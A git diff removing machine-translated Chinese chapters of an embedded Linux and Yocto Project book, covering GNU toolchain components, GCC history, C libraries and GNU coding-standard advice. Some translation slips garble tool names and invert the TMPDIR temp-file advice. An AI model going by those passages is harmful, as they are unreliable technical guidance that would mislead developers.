-drwxr-xr-x 6 alex alex 4,0K sep 28 03:51 pkgdata/ -drwxr-xr-x 2 alex alex 4,0K sep 28 04:17 sysroot-providers/ -drwxr-xr-x 7 alex alex 4,0K sep 28 04:16 usr/ -drwxr-xr-x 3 alex alex 4,0K sep 28 01:52 var/ - -``` - -Yocto 项目有助于进行可靠的嵌入式 Linux 开发,由于其规模,它被用于很多事情,从硬件公司的板级支持包到软件开发公司的新软件解决方案。 Yocto 不是一个完美的工具,它有一些缺点: - -* 对磁盘空间和机器使用的要求相当高 -* 缺少有关高级用法的文档 -* Autobuilder 和 Eclipse 插件等工具现在存在功能问题 - -还有其他困扰开发人员的事情,比如`ptest`集成和 SDK sysroot 缺乏可扩展性,但其中一部分问题已经由项目背后的大社区解决了,在项目显示出它的局限性之前,新的项目仍然需要等待来取代它的位置。 在此之前,Yocto 是用于开发定制嵌入式 Linux 发行版或基于 Linux 的产品的框架。 - -# 摘要 - -在本章中,我们向您介绍了开源的优势,以及开源如何帮助 Linux 内核、Yocto Project、OpenEmbedded 和 Buildroot 开发和发展项目(如 LTIB 和 Scratchbox)的示例;由于缺乏开源贡献,它们将随着时间的推移逐渐过时和消失。 呈现给您的信息将以示例的形式呈现,这将使您对本书中的概念有更清晰的理解。 - -在下一章中,将有更多关于工具链及其组成组件的信息。 将使用手动和自动方法生成让您对工具链有更好了解的练习。 \ No newline at end of file diff --git a/docs/learn-emb-linux-yocto-proj/02.md b/docs/learn-emb-linux-yocto-proj/02.md deleted file mode 100644 index 47507208..00000000 --- a/docs/learn-emb-linux-yocto-proj/02.md +++ /dev/null @@ -1,481 +0,0 @@ -# 二、交叉编译 - -在本章中,您将了解工具链、如何使用和自定义工具链,以及如何将代码标准应用于工具链。 工具链包含大量工具,如编译器、链接器、汇编器、调试器和各种其他实用程序,这些工具有助于操作生成的应用二进制文件。 在本章中,您将学习如何使用 GNU 工具链并熟悉其功能。 您将看到涉及手动配置的示例,同时,这些示例将移到 Yocto Project 环境中。 在本章的最后,我们将对工具链的手动部署和自动部署进行分析,以确定它们之间的异同,以及可用于工具链的各种使用场景。 - -# 工具链简介 - -工具链表示编译器及其相关实用程序,用于生成特定目标所需的内核、驱动程序和应用。 工具链通常包含一组通常相互链接的工具。 它由`gcc`、`glibc`、`binutils`或其他可选工具组成,例如用于特定编程语言(如 C++、Ada、Java、Fortran 或 Objective-C)的调试器可选编译器。 - -通常,在传统台式机或服务器上提供的工具链在这些机器上执行,并生成可在同一系统上运行的可执行文件和库。 通常用于嵌入式开发环境的工具链称为交叉工具链。 在这种情况下,GCC 等程序在主机系统上针对特定的目标体系结构运行,并为该体系结构生成二进制代码。 整个过程被称为交叉编译,这是为嵌入式开发构建源代码的最常见方式。 - -![Introducing toolchains](img/image00303.jpeg) - -在工具链环境中,有三种不同的机器可用: - -* 构建计算机,表示在其上创建工具链的计算机 -* 主机,表示执行工具链的机器 -* 表示工具链为其生成二进制代码的计算机的目标计算机[T0 - -这三台机器用于生成四种不同的工具链构建过程: - -* **原生工具链**:这通常在普通 Linux 发行版或您的普通桌面系统上可用。 这通常是编译和运行的,并为相同的体系结构生成代码。 -* **跨本机工具链**:这表示构建在一个系统上的工具链,尽管它为目标系统运行并生成二进制代码。 通常的用例是在目标系统上需要本机`gcc`,而不是在目标平台上构建它。 -* **交叉编译工具链**:这是嵌入式开发中使用最广泛的工具链类型。 它在体系结构类型(通常为 x86)上编译和运行,并为目标体系结构生成二进制代码。 -* **跨加拿大构建**:此表示涉及在系统 A 上构建工具链的过程。然后,此工具链在另一个系统(如 B)上运行,生成第三个系统(称为 C)的二进制代码。这是使用率最低的构建过程之一。 - -生成四种不同工具链构建过程的三台机器如下图所示: - -![Introducing toolchains](img/image00304.jpeg) - -TOOLCHAINS 代表了一系列工具,这些工具使得今天可用的大多数伟大项目的存在成为可能。 这也包括开源项目。 如果没有相应的工具链,这种多样性是不可能的。 这也发生在嵌入式世界中,新可用的硬件需要其**板支持包**(**BSP**)的相应工具链的组件和支持。 - -工具链配置并非易事。 在开始搜索预先构建的工具链之前,甚至在您自己构建工具链之前,最好的解决方案是检查目标特定的 BSP;每个开发平台通常都提供一个。 - -# 工具链组件 - -GNU 工具链是一个术语,表示**GNU Project 保护伞**下的一组编程工具。 这套工具通常被称为**工具链**,用于开发应用和操作系统。 它在嵌入式系统特别是 Linux 系统的开发中扮演着重要的角色。 - -GNU 工具链中包括以下项目: - -* **GNU make**:这个表示用于编译和构建的自动化工具 -* **GNU 编译器集合(GCC)**:这表示用于种可用编程语言的编译器套件 -* **GNU Binutils**:此包含链接器、汇编器等工具-这些工具能够操作二进制文件 -* **GNU Bison**:这个是一个解析器生成器 -* **GNU Debugger(Gdb)**:这个是一个代码调试工具 -* **GNU M4**:这个是 M4 宏处理器 -* **GNU 构建系统(Autotools)**:此由以下内容组成: - * 自动会议 - * 自动标题 - * 汽车制造 - * Libtool - -下图描述了工具链中包含的项目: - -![Components of toolchains](img/image00305.jpeg) - -嵌入式开发环境需要的不仅仅是交叉编译工具链。 它需要库,并且应该针对特定于系统的包,如程序、库和实用程序,以及宿主特定的调试器、编辑器和实用程序。 在某些情况下,通常在谈论公司的环境时,许多服务器托管目标设备,并且某些硬件探针通过以太网或其他方法连接到主机。 这强调了这样一个事实,即嵌入式发行版包括大量工具,并且通常需要对其中的许多工具进行定制。 要把这些都呈现出来,需要的不仅仅是一本书中的一章。 - -然而,在本书中,我们将只介绍工具链构建组件。 其中包括以下内容: - -* `binutils` -* `gcc` -* `glibc`(C 磅) -* 内核头 - -我将从开始介绍这个列表中的第一个项目,**GNU Binutils 包**。 它是在 GNU GPL 许可下开发的,它代表了一组用于创建和管理给定体系结构的二进制文件、目标代码、汇编文件和概要数据的工具。 以下是 GNU Binutils 软件包可用工具的功能和名称列表: - -* GNU 链接器,即`ld` -* GNU 汇编程序,即`as` -* 将地址转换为文件名和行号的实用程序,即`addr2line` -* 用于创建、解压缩和修改归档的实用程序,即`ar` -* 用于列出目标文件内可用符号的工具,即`nm` -* 复制和翻译目标文件,即`objcopy` -* 显示来自目标文件的信息,即`objdump` -* 为档案内容生成索引,即`ranlib` -* 显示来自任何 ELF 格式目标文件的信息,即`readelf` -* 列出对象或归档文件的节大小,即`size` -* 列出文件中的可打印字符串,即`strings` -* 丢弃符号实用程序,即`strip` -* 过滤或解角编码的 C++符号,即`c++filt` -* 创建使用 DLL 生成的文件,即`dlltool` -* 一个新的、速度更快、仅限 ELF 的链接器,它仍处于 Beta 测试阶段,即`gold` -* 显示简档信息工具,即`gprof` -* 将目标代码转换为 NLM,即`nlmconv` -* Windows 兼容的消息编译器,即`windmc` -* Windows 资源文件的编译器,即`windres` - -这些工具中的大多数使用**二进制文件描述符**(**BFD**)库来进行低级数据操作,而且,它们中的许多都使用`opcode`库来汇编和反汇编操作。 - -### 备注 - -有关`binutils`的有用信息可以在[http://www.gnu.org/software/binutils/](http://www.gnu.org/software/binutils/)中找到。 - -在工具链生成过程中,列表中的下一项由内核标头表示,C 库需要它们来与内核交互。 在编译相应的 C 库之前,需要提供内核头,以便它们可以提供对可用的系统调用、数据结构和常量定义的访问。 当然,任何 C 库都定义了特定于每个硬件体系结构的规范集;在这里,我指的是指的是**应用二进制接口**(**ABI**)。 - -应用二进制接口(ABI)表示两个模块之间的接口。 它提供了有关如何调用函数以及应该在组件之间或向操作系统传递的信息类型的信息。 参考一本书,如*The Linux Kernel Primer*,对您有好处,在我看来,这是 ABI 提供的完整指南。 我会试着为你重现这个定义。 - -ABI 可以看作是一组类似于协议或协议的规则,它为链接器提供了将编译后的模块组合到一个组件中的可能性,而不需要重新编译。 同时,ABI 描述了这些组件之间的二进制接口。 拥有这种约定并遵循 ABI 提供了链接本可以用不同编译器编译的目标文件的好处。 - -从这两个定义可以很容易地看出,ABI 依赖于平台类型,平台类型可以包括物理硬件、某种类型的虚拟机等等。 它还可能依赖于使用的编程语言和编译器,但大部分依赖于平台。 - -ABI 展示了生成的代码是如何运行的。 代码生成过程还必须知道 ABI,但是当用高级语言编写代码时,关注 ABI 很少是问题。 这些信息可以被认为是指定某些 ABI 相关选项的必要知识。 - -作为一般规则,ABI 必须因其与外部组件的交互而受到尊重。 然而,关于与其内部模块的交互,用户可以自由地做他或她想做的任何事情。 基本上,他们能够重新发明 ABI,并形成自己对机器局限性的依赖。 这里的简单例子与属于自己国家或地区的各种公民有关,因为他们从出生起就学习和了解该地区的语言。 因此,他们能够相互理解,沟通没有问题。 外部公民要能够交流,他或她需要懂一个地区的语言,而身处这个社区似乎是很自然的,所以这不会构成问题。 编译器还能够设计自己的自定义调用约定,在这种约定下,它们知道模块中调用的函数的限制。 此练习通常是出于优化原因而进行的。 然而,这可以被认为是对 ABI 术语的滥用。 - -引用用户空间 ABI 的内核是向后兼容的,它确保使用较旧的内核头版本(而不是正在运行的内核上可用的版本)生成的二进制文件工作得最好。 这样做的缺点表现为这样一个事实,即使用较新的内核头部的工具链生成的新系统调用、数据结构和二进制文件可能不适用于较新的功能。 需要使用最新的内核特性可以证明需要最新的内核头文件是合理的。 - -GNU 编译器集合,也被称为 GCC,代表了一个编译器系统,它构成了 GNU 工具链的关键组件。 虽然它最初被命名为 GNU C 编译器,但由于它只处理 C 编程语言这一事实,它很快就开始表示一系列语言,如 C、C++、Objective C、Fortran、Java、Ada 和 Go,以及其他语言的库(如`libstdc++`、`libgcj`等)。 - -它最初是作为 GNU 操作系统的编译器编写的,是作为 100%自由软件开发的。 它是在 GNU GPL 下分发的。 这帮助它将其功能扩展到各种架构中,并在开放源码软件的发展中发挥了重要作用。 - -GCC 的发展始于理查德·斯托尔曼(Richard Stallman)为引导 GNU 操作系统所做的努力。 这一探索促使斯托尔曼从头开始编写自己的编译器。 该书于 1987 年发行,由斯塔尔曼担任作者,其他人担任贡献者。 到 1991 年,它已经达到稳定阶段,但由于其体系结构的限制,它无法包括改进。 这意味着 GCC 第二版的工作已经开始,但没过多久,新语言接口的开发需求也开始出现在其中,开发人员开始自己制作编译器源代码的分支。 这个分叉计划被证明是非常低效的,而且由于接受代码过程的困难,从事它的工作变得非常令人沮丧。 - -这种情况在 1997 年发生了变化,当时作为**实验/增强 GNU 编译器系统**(**EGCS**)工作组的一群开发人员聚集在一起,开始在一个项目中合并几个分支。 他们在这项事业中取得了如此大的成功,聚集了如此多的功能,以至于他们让**自由软件基金会**(**FSF**)停止了对 GCC 第二版的开发,并于 1999 年 4 月指定 EGCS 作为 GCC 的官方版本和维护者。 随着 GCC 2.95 的获释,他们团结在一起。 有关 GNU 编译器集合的历史和发行历史的更多信息,请参阅[https://www.gnu.org/software/gcc/releases.html](https://www.gnu.org/software/gcc/releases.html)和[http://en.wikipedia.org/wiki/GNU_Compiler_Collection#Revision_history](http://en.wikipedia.org/wiki/GNU_Compiler_Collection#Revision_history)。 - -GCC 接口类似于 unix 约定,用户调用特定于语言的驱动程序,该驱动程序解释参数并调用编译器。 然后,它对结果输出运行汇编器,并在必要时运行链接器以获得最终的可执行文件。 对于每种语言编译器,都有一个单独的程序来执行源代码读取。 - -从源代码获取可执行文件的过程有一些执行步骤。 在第一步之后,生成抽象语法树,并且在此阶段可以应用编译器优化和静态代码分析。 优化和静态代码分析既可以应用于与体系结构无关的**Gimple**或其超集通用表示,也可以应用于与体系结构相关的**寄存器传输语言**(**RTL**)表示,其类似于 LISP 语言。 机器代码是使用由 Jack Davidson 和 Christopher Fraser 编写的模式匹配算法生成的。 - -GCC 最初几乎完全是用 C 语言编写的,尽管 Ada 前端主要是用 Ada 语言编写的。 然而,在 2012 年,GCC 委员会宣布使用 C++作为实现语言。 尽管 GCC 库的主要活动包括添加新的语言支持、优化、改进的运行时库以及提高调试应用的速度,但不能认为它已成为一种实现语言。 - -每个可用的前端根据给定的源代码生成一棵树。 使用这种抽象的树形式,不同的语言可以共享相同的后端。 最初,GCC 使用**前瞻 LR**(**LALR)**解析器,这些解析器是由 Bison 生成的,但随着时间的推移,它在 2006 年转向了针对 C、C++和 Objective-C 的递归派生解析器。 如今,所有可用的前端都使用手写递归派生解析器。 - -直到最近,程序的语法树抽象并不独立于目标处理器,因为树的含义从一种语言前端到另一种语言前端是不同的,并且每种语言都提供了自己的树语法。 随着 GCC 4.0 版本引入了通用的和与 Gimple 架构无关的表示,所有这些都改变了。 - -Generic 是一个更复杂的中间表示,而 Gimple 是一个简化的 Generic,面向 GCC 的所有前端。 C、C++或 Java 前端等语言直接在前端生成通用的树表示。 另一些则使用不同的中间表示法,然后将其解析并转换为通用表示法。 - -Gimple 转换表示使用临时变量拆分成三个地址代码的复杂表达式。 Gimple 表示的灵感来自于 McCAT 编译器上用于简化程序分析和优化的简单表示。 - -GCC 的中间阶段表示涉及代码分析和优化,并且根据编译语言和目标体系结构独立工作。 它从通用表示开始,继续到**寄存器传输语言**(**RTL**)表示。 优化主要涉及跳转线程、指令调度、循环优化、子表达式消除法等。 RTL 优化不如通过 Gimple 表示完成的优化重要。 然而,它们包括死代码消除、全局值编号、部分冗余消除、稀疏条件常量传播、聚合的标量替换,甚至自动向量化或自动并行化。 - -GCC 后端主要由预处理器宏和特定的目标体系结构函数表示,例如字符顺序定义、调用约定或字长。 后端的初始阶段使用这些表示来生成 RTL;这表明尽管 GCC 的 RTL 表示名义上是独立于处理器的,但抽象指令的初始处理适用于每个特定的目标。 - -特定于计算机的描述文件包含 RTL 模式,也包含形成最终程序集的代码片段或操作数约束。 在 RTL 生成过程中,对目标体系结构的约束进行了验证。 要生成 RTL 片段,它必须与机器描述文件中的一个或多个 RTL 模式匹配,同时还满足这些模式的限制。 如果不这样做,将最终 RTL 转换为机器码的过程将是不可能的。 在编译接近尾声时,RTL 表示成为一种严格的形式。 对于每个指令引用,它的表示包含真实的机器寄存器对应关系和来自目标机器描述文件的模板。 - -因此,机器代码是通过调用与相应模式相关联的小代码片段来获得的。 以这种方式,从目标指令集生成指令。 此过程涉及重新加载阶段的寄存器、偏移量和地址的使用。 - -### 备注 - -有关 GCC 编译器的更多信息可以在[http://gcc.gnu.org/](http://gcc.gnu.org/)或[http://en.wikipedia.org/wiki/GNU_Compiler_Collection](http://en.wikipedia.org/wiki/GNU_Compiler_Collection)中找到。 - -这里需要介绍的最后一个元素是 C 库。 它代表 Linux 内核和 Linux 系统上使用的应用之间的接口。 同时,它还为更容易地开发应用提供了帮助。 此社区中有几个 C 库: - -* `glibc` -* `eglibc` -* `Newlib` -* `bionic` -* `musl` -* `uClibc` -* `dietlibc` -* `Klibc` - -GCC 编译器使用的 C 库的选择将在工具链生成阶段执行,它不仅会受到库的大小和应用支持的影响,还会受到标准合规性、完整性和个人偏好的影响。 - -# 深入研究 C 库 - -我们将在这里讨论的第一个库是`glibc`库,它是为性能、标准遵从性和可移植性而设计的。 它是由自由软件基金会为 GNU/Linux 操作系统开发的,今天仍然存在于所有积极维护的 GNU/Linux 主机系统上。 它是在 GNU Lesser General Public License(GNU 宽松通用公共许可证)下发布的。 - -`glibc`库最初是由 Roland McGrath 在 20 世纪 80 年代编写的,它一直在增长,直到 20 世纪 90 年代 Linux 内核分出了`glibc`,称之为`Linux libc`。 它是单独维护的,直到 1997 年 1 月自由软件基金会发布了`glibc 2.0`。 `glibc 2.0`包含了如此多的功能,因此继续开发`Linux libc`没有任何意义,因此他们停止了他们的叉子,并重新使用`glibc`。 由于代码的原创性问题,在`Linux libc`中所做的更改没有合并到`glibc`中。 - -就尺寸而言,`glibc`库非常大,不适合小型嵌入式系统,但它提供了**Single UNIX Specification**(**SUS**)、POSIX、ISO C11、ISO C99、Berkeley Unix 接口、System V 接口定义和 X/Open Porability Guide 4.2 版所需的功能,以及 X/Open System Interface 兼容系统的所有扩展以及 X/Open UNIX 扩展。 除此之外,GLIBC 还提供了在开发 GNU 时被认为有用或必要的扩展。 - -我将在这里讨论的下一个 C 库是 Yocto 项目在 1.7 版之前作为主要 C 库使用的 C 库。 这里,我指的是`eglibc`库。 这是`glibc`的一个版本,针对嵌入式设备的使用进行了优化,同时能够保持兼容性标准。 - -自 2009 年以来,Debian 及其衍生版本选择从 GNU C 库迁移到`eglibc`。 这可能是因为 GNU LGPL 和`eglibc`在许可方面存在差异,这允许它们接受`glibc`开发人员拒绝的补丁。 从 2014 年开始,官方的`eglibc`主页声明,`eglibc`的开发已经停止,因为`glibc`也转移到了相同的许可,而且 Debian Jessie 的发布意味着它又回到了`glibc`。 这也发生在 Yocto 支持的案例中,他们还决定将`glibc`作为主要的库支持选项。 - -`newlib`库是为在嵌入式系统中使用而开发的另一个 C 库。 它是自由软件许可下的库组件的集合体。 它由 Cygnus support 开发,由 Red Hat 维护,是用于非 Linux 嵌入式系统的 C 库的首选版本之一。 - -`newlib`系统调用描述 C 库在多个操作系统上的使用,以及在不需要操作系统的嵌入式系统上的使用。 它包含在 GCC 的商业发行版中,如 RedHat、CodeSourcery、Attolic、KPIT 等。 它还受到架构供应商的支持,这些供应商包括 ARM、Renesas 或类似 Unix 的环境,如 Cygwin,甚至 Amiga 个人计算机的专有操作系统。 - -到 2007 年,它还得到了任天堂 DS、PlayStation、便携 SDK Game Boy Advance System、Wii 和 GameCube 开发平台的工具链维护者的支持。 2013 年,Google Native Client SDK 将`newlib`作为主要的 C 库添加到了这个列表中。 - -Bionic 是由 Google 基于 Linux 内核为 Android 开发的 BSD C 库的派生而来。 它的开发独立于 Android 代码开发。 它被许可为 3 条款 BSD 许可证,其目标是公开提供的。 这些包括以下内容: - -* **小尺寸**:与`glibc`相比,仿生的尺寸更小 -* **速度**:这设计了在低频下工作的 CPU -* **BSD 许可**:Google 希望将 Android 应用与 GPL 和 LGPL 许可隔离开来,这就是它转向非版权许可的原因,如下所示: - * Android 基于基于 GPLv2 许可的 Linux 内核 - * `glibc`基于 LGPL,它允许链接动态专有库,但不允许静态链接 - -与`glibc`相比,它还有一个限制列表,如下所示: - -* 它不包括 C++异常处理,主要是因为 Android 使用的大部分代码都是用 Java 编写的。 -* 它没有广泛的字符支持。 -* 它不包括标准模板库,尽管它可以手动包含。 -* 它在仿生 POSIX 中运行,甚至系统调用头都是特定于 Android 的函数的包装器或存根。 这有时可能会导致奇怪的行为。 -* 当 Android 4.2 发布时,它包含了对`glibc``FORTIFY_SOURCE`特性的支持。 这些功能通常在 Yocto 和嵌入式系统中使用,但只在搭载 ARM 处理器的 Android 设备的`gcc`版本中出现。 - -下一个将讨论的 C 库是`musl`。 它是一个 C 库,用于嵌入式和移动系统的 Linux 操作系统。 它拥有麻省理工学院的许可证,开发时的理念是拥有一个干净的、符合标准的`libc`,这是省时的,因为它是从头开始开发的。 作为一个 C 库,它针对静态库的链接进行了优化。 兼容 C99 标准和 POSIX 2008,实现 Linux、`glibc`、BSD 等非标准功能。 - -接下来,我们将讨论`uClibc`,这是一个为 Linux 嵌入式系统和移动设备设计的 C 标准库。 虽然最初是为μClinux 开发的,也是为微控制器设计的,但它收集了轨迹,并成为设备上空间有限的任何人的首选武器。 这之所以流行起来,有以下几个原因: - -* 它关注的是规模而不是性能 -* 它拥有 GNU 宽松通用公共许可证(LGPL)免费许可证 -* 它的 glibc 要小得多,并且减少了编译时间。 -* 它具有很高的可配置性,因为它的许多功能都可以使用与 Linux 内核、U-Boot 甚至 BusyBox 等软件包上提供的接口类似的`menuconfig`接口来启用 - -`uClibc`库还有另一个使其非常有用的特性。 它引入了一种新的思想,正因为如此,C 库不会试图支持尽可能多的标准。 然而,它侧重于嵌入式 Linux,并包含了面对可用空间限制的开发人员所需的功能。 由于这个原因,这个库是从头开始编写的,尽管它有一定的局限性,但`uClibc`是`glibc`的重要替代方案。 如果我们考虑到 C 库中使用的大多数特性都在其中,那么最终的大小要小四倍,而且 WinDriver、MontaVista 和 Timesys 都是它的积极维护者。 - -`dietlibc`库是由 Felix von Leitner 开发的标准 C 库,在 GNU GPL v2 许可下发布。 虽然它还包含一些商业许可组件,但它的设计基于与`uClibc`相同的思想:在尽可能小的大小下编译和链接软件的可能性。 它与`uClibc`有另一个相似之处;它是从头开始开发的,只实现了最常用和已知的标准功能。 它的主要用途主要是在嵌入式设备市场。 - -C 库列表中的最后一个是`klibc`标准 C 库。 它是由 H.Peter Anvin 开发的,开发目的是在 Linux 启动过程中用作早期用户空间的一部分。 它由运行内核启动进程的组件使用,但不在内核模式下使用,因此它们无法访问标准 C 库。 - -`klibc`的开发始于 2002 年,最初是为了将 Linux 初始化代码移出内核。 它的设计使其适用于嵌入式设备。 它还有另一个优点:它针对小尺寸和数据正确性进行了优化。 `klibc`库是在 Linux 启动过程中从**initramfs**(临时 RAM 文件系统)加载的,并且默认情况下使用基于 Debian 和 Ubuntu 的文件系统的`mkinitramfs`脚本合并到 initramfs 中。 它还可以访问一小部分实用程序,例如`mount`、`mkdir`、`dash`、`mknod`、`fstype`、`nfsmount`、`run-init`等,这些实用程序在初始阶段非常有用。 - -### 备注 - -有关 initramfs 的更多信息可以使用位于[https://www.kernel.org/doc/Documentation/filesystems/ramfs-rootfs-initramfs.txt](https://www.kernel.org/doc/Documentation/filesystems/ramfs-rootfs-initramfs.txt)的内核文档找到。 - -`klibc`库是按照 GNU GPL 许可的,因为它使用了 Linux 内核中的一些组件,因此,作为一个整体,它作为 GPL 许可的软件可见,这限制了它在商业嵌入式软件中的适用性。 然而,库的大部分源代码都是在 BSD 许可下编写的。 - -# 使用工具链 - -在生成工具链时,需要做的第一件事是建立用于生成二进制文件的 ABI。 这意味着内核需要理解这个 ABI,同时,系统中的所有二进制文件都需要使用相同的 ABI 进行编译。 - -当使用 GNU 工具链时,要收集信息并了解如何使用这些工具完成工作,一个很好的来源是参考 GNU 编码标准。 编码标准的目的非常简单:确保使用 GNU 生态系统的工作以一种干净、容易和一致的方式执行。 对于有兴趣使用 GNU 工具编写可靠、可靠和可移植的软件的人来说,这是一个需要使用的指导方针。 GNU 工具链的主要焦点是 C 语言,但是这里应用的规则对任何编程语言都非常有用。 通过确保将给定信息背后的逻辑传递给读者来解释每条规则的目的。 - -我们将关注的主要语言也将是 C 编程语言。 关于 GNU 编码标准与 GNU 库的兼容性,与 Berkeley Unix、Standard C 或 POSIX 的标准相比,例外或实用程序及其兼容性应该是非常好的。 在兼容性发生冲突的情况下,拥有该编程语言的兼容模式非常有用。 - -POSIX 和 C 等标准在支持扩展方面有许多限制-但是,通过包含`—posix`、`—ansi`或`—compatible`选项来禁用这些扩展,仍然可以使用这些扩展。 如果扩展因不兼容而破坏程序或脚本的可能性很高,则应重新设计其界面以确保兼容性。 - -如果定义了`POSIXLY_CORRECT`环境变量,大量 GNU 程序会抑制已知会导致与 POSIX 冲突的扩展。 用户定义功能的使用提供了将 GNU 功能与其他完全不同、更好的功能互换的可能性,甚至可以使用兼容的功能。 其他有用的功能总是受欢迎的。 - -如果我们快速浏览一下 GNU 标准文档,可以从中学到一些有用的信息: - -尽管您可能会考虑定义更窄的数据类型,但最好是使用`int`类型。 当然,在一些特殊情况下,这可能很难使用。 `dev_t`系统类型就是这样一个例子,因为它在某些机器上比`int`短,在另一些机器上更宽。 为非标准 C 类型提供支持的唯一方法是使用`Autoconf`检查`dev_t`的宽度,然后相应地选择参数类型。 然而,这可能不值得麻烦。 - -对于 GNU 项目,一个组织的标准规范的实现是可选的,只有当它通过使系统整体更好来帮助系统时,才能实现这一点。 在大多数情况下,遵循已发布的标准非常符合用户的需要,因为他们的程序或脚本可以被认为更具可移植性。 GCC 就是一个这样的例子,它几乎实现了标准 C 的所有功能,符合标准的要求。 这为 C 程序的开发人员提供了很大的优势。 这也适用于遵循 POSIX.2 规范的 GNU 实用程序。 - -规范中也有一些没有遵循的特定要点,但这发生的唯一原因是为了让 GNU 系统更好地为用户服务。 一个这样的例子是,标准 C 程序不允许对 C 进行扩展,但是,GCC 实现了许多扩展,其中一些后来被标准接受。 对于有兴趣按照标准要求的*输出错误消息的开发人员,可以使用`--pedantic`参数。 实施的目的是为了确保 GCC 全面贯彻执行该标准。* - - *POSIX.2 标准提到,命令(如`du`和`df`)应以 512 字节为单位输出大小。 但是,用户需要 1KB 的单位,并且实现了此默认行为。 如果有人对 POSIX 标准要求的行为感兴趣,他们需要设置`POSIXLY_CORRECT`环境变量。 - -另一个这样的例子是 GNU 实用程序,当涉及到对长命名命令行选项的支持或选项与参数的混合时,它们并不总是遵守 POSIX.2 标准规范。 这种与 POSIX 标准的不兼容性在实践中对开发人员非常有用。 这里的主要思想不是拒绝任何新功能或删除旧功能,尽管某个标准提到它已被弃用或禁用。 - -### 备注 - -有关 GNU 编码标准的更多信息,请参考[https://www.gnu.org/prep/standards/html_node/](https://www.gnu.org/prep/standards/html_node/)。 - -## 关于健壮编程的建议 - -为了确保您编写健壮的代码,应该提到一些指导原则。 第一个指的是限制不应该用于任何数据结构,包括文件、文件名、行和符号,特别是任意限制。 所有数据结构都应该是动态分配的。 其中一个原因是,大多数 Unix 实用程序都会默默地截断长行;GNU 实用程序不会做这类事情。 - -用于读取文件的实用程序应避免丢弃`null`字符或非打印字符。 这里的例外情况是,这些旨在与某些类型的打印机或终端接口的实用程序无法处理前面提到的字符。 在这种情况下,我给出的建议是尝试让程序使用 UTF-8 字符集或用于表示多字节字符的其他字节序列。 - -确保检查系统调用是否有错误返回值;这里的例外情况是开发人员希望忽略错误。 最好将来自`strerror`、`perror`或等效错误处理函数的系统错误文本包含在系统调用崩溃产生的错误消息中,并添加源代码文件的名称和实用程序的名称。 这样做是为了确保与源代码或程序交互的任何人都可以轻松阅读和理解错误消息。 - -检查`malloc`或`realloc`的返回值,以验证它们是否返回零。 如果使用`realloc`使块尺寸近似为 2 的幂的系统中的块更小,则`realloc`可能具有不同的行为并得到不同的块。 在 Unix 中,当`realloc`有错误时,它会销毁零返回值的存储块。 对于 GNU,此错误不会发生,并且当它失败时,原始块保持不变。 如果您想在 Unix 上运行相同的程序,并且不想丢失数据,您可以检查 Unix 系统上的错误是否已解决,或者使用`malloc`GNU。 - -被释放的块的内容不能被访问以进行更改,也不能与用户进行任何其他交互。 这可以在调用 Free 之前完成。 - -当`malloc`命令在非交互式程序中失败时,我们将面临致命错误。 如果同样的情况再次出现,但这一次涉及交互式程序,最好是中止命令并返回到读取循环。 这提供了释放虚拟内存、终止其他进程并重试该命令的可能性。 - -要解码参数,可以使用`getopt_long`选项。 - -在程序执行期间编写静态存储时,请使用 C 代码进行初始化。 但是,对于不会更改的数据,保留 C 初始化声明。 - -尽量远离低级接口和未知的 Unix 数据结构-当数据结构不能以兼容的方式工作时,可能会发生这种情况。 例如,要查找目录中的所有文件,开发人员可以使用`readdir`函数或任何高级接口可用函数,因为这些函数不存在兼容性问题。 - -对于信号处理,请使用`signal`的 BSD 变体和 POSIX`sigaction`函数。 在这种情况下,USG`signal`接口不是最佳选择。 现在,使用 POSIX 信号函数被认为是开发可移植程序的最简单方法。 但是,使用一个函数而不使用另一个函数完全取决于开发人员。 - -对于识别不可能情况的错误检查,只需中止程序,因为不需要打印任何消息。 这些类型的检查证明了错误的存在。 要修复这些错误,开发人员必须检查可用的源代码,甚至启动调试器。 解决此问题的最佳方法是在源代码中使用注释来描述错误和问题。 在使用调试器相应地检查变量之后,可以在变量中找到相关信息。 - -不要将程序中遇到的错误计数用作退出状态。 这种做法不是最好的,主要是因为退出状态的值仅限于 8 位,并且可执行文件的执行可能有 255 个以上的错误。 例如,如果您尝试返回某个进程的退出状态 256,父进程将看到状态 0,并认为该程序已成功完成。 - -如果创建了临时文件,最好检查`TMPDIR`环境变量。 如果定义了变量,明智的做法是使用`/tmp`目录。 使用临时文件时应谨慎行事,因为在完全可写的目录中创建临时文件时,可能会发生安全漏洞。 对于 C 语言,可以通过以下方式创建临时文件来避免这种情况: - -```sh -fd = open (filename, O_WRONLY | O_CREAT | O_EXCL, 0600); -``` - -这也可以使用由`Gnulib`提供的`mkstemps`函数来完成。 - -对于 bash 环境,请使用`noclobber`环境变量或`set -C`简写版本来避免前面提到的问题。 此外,`mktemp`可用实用程序完全是将临时文件作为 shell 环境的更好的解决方案;该实用程序在 GNU Coreutils 包中提供。 - -### 备注 - -有关 GNU C 标准的更多信息可以在[https://www.gnu.org/prep/standards/standards.html](https://www.gnu.org/prep/standards/standards.html)中找到。 - -## 生成工具链 - -在介绍了组成工具链的包之后,本节将介绍获取自定义工具链所需的步骤。 将生成的工具链将包含与 Poky Duzzy 分支中可用的源相同的源。 这里,我指的是`gcc`版本 4.9、`binutils`版本 2.24 和`glibc`版本 2.20。 对于 Ubuntu 系统,也有快捷方式可用。 通用工具链可以使用可用的包管理器安装,也有其他选择,例如下载 Board Support 包中提供的自定义工具链,甚至可以从包括 CodeSourcery 和 Linaro 在内的第三方下载。 有关工具链的更多信息,请参阅[http://elinux.org/Toolchains](http://elinux.org/Toolchains)。 将用作演示的体系结构是 ARM 体系结构。 - -工具链构建过程有八个步骤。 我将只概述其中每一项所需的活动,但我必须指出,在 Yocto 项目食谱中,它们都是自动化的。 在 Yocto Project 部分中,工具链在没有通知的情况下生成。 对于与生成的工具链的交互,最简单的任务是调用**meta-ide-support**,但这将在适当的小节中显示,如下所示: - -* **设置**:此表示创建顶级构建目录和源子目录的步骤。 在此步骤中,定义了变量,如`TARGET`、`SYSROOT`、`ARCH`、`COMPILER`、`PATH`等。 -* **获取源代码**:此表示包(如`binutils`、`gcc`、`glibc`、`linux kernel`头)和各种补丁程序可供后续步骤使用的步骤。 -* **GNU Binutils Setup**-这表示与`binutils`包进行交互的步骤,如下所示: - * 解压缩相应版本中提供的源代码 - * 如果适用,请相应地修补源代码 - * 相应地配置软件包 - * 编译源代码 - * 将源代码安装在相应位置 -* **Linux 内核头设置**:表示与 Linux 内核源的交互的步骤,如下所示: - * 解压缩内核源代码。 - * 修补内核源代码(如果适用)。 - * 为选定的体系结构配置内核。 